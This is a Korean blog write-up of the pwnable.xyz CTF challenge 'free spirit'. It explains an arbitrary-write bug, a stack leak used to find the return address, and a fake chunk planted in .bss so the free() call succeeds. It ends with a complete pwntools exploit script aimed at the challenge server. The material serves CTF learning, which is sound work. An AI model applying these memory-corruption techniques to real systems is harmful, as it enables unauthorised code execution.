pwnable

pwnable.xyz - free spirit

Ryuuu 2021. 1. 11. 09:13

먼저 64bit 바이너리이다.

 

보호기법을 보니 full relro여서 got overwrite는 안될것 같다.

 

코드를 보다보니 해당 바이너리는 포인터 내부의 값을 해당 포인터 -0x8 부분으로 mov해주는 코드가 있다.

 

따라서 포인터를 덮을 수 있고 입력해주는 부분에서 그 포인터 내부의 값을 쓸 수 있으므로 원하는 주소에 원하는 값을 쓸 수 있다.

또한 stack leak을 그냥 해줘서 ret 주소를 그냥 알아낼 수 있다.

cat flag를하는 함수도 제공해줘서 ret에 그냥 cat flag 함수 주소를 넣고 정상 종료 시키면 플래그가 나올거라 생각했다.

하지만 정상 종료 전에는 덮어준 포인터 부분을 free해주는 부분이 있어 해당 오류가 계속 발생했다.

 

따라서 fake chunk를 생성해서 free를 우회했다.

위에서 원하는 주소에 원하는 값을 쓸 수 있다고 하였으므로 해당 방법을 반복적으로 이용해서 fake chunk를 생성해 주었다.

stack 주소가 공개되어있어 stack에 fake chunk를 생성하려 했으나 stack에 있는 값들이 자꾸 바뀌어서 bss에 fake chunk를 생성해주어서 free를 우회해 주었다.

 

#!usr/bin/env python
#ryuuu

from pwn import *

#s = process("./challenge")
s = remote("svc.pwnable.xyz",30005)

print util.proc.pidof(s)
pause()

s.sendlineafter("> ","2")
leak = int(s.recv(14),16)
ret = leak + 0x58
fake = 0x601030

s.sendlineafter("> ","1")
sleep(0.2)
s.sendline("A"*8+p64(ret))

s.sendlineafter("> ","3")

s.sendlineafter("> ","1")
sleep(0.2)
s.sendline(p64(0x400A3E)+p64(fake-8))

s.sendlineafter("> ","3")

s.sendlineafter("> ","1")
sleep(0.2)
s.sendline(p64(0x21)+p64(fake-8+0x20))

s.sendlineafter("> ","3")

s.sendlineafter("> ","1")
sleep(0.2)
s.sendline(p64(0x123)+p64(fake))

s.sendlineafter("> ","3")

s.sendlineafter("> ","1")
sleep(0.2)
s.sendline("AAAA")

s.sendlineafter("> ","0")
s.interactive()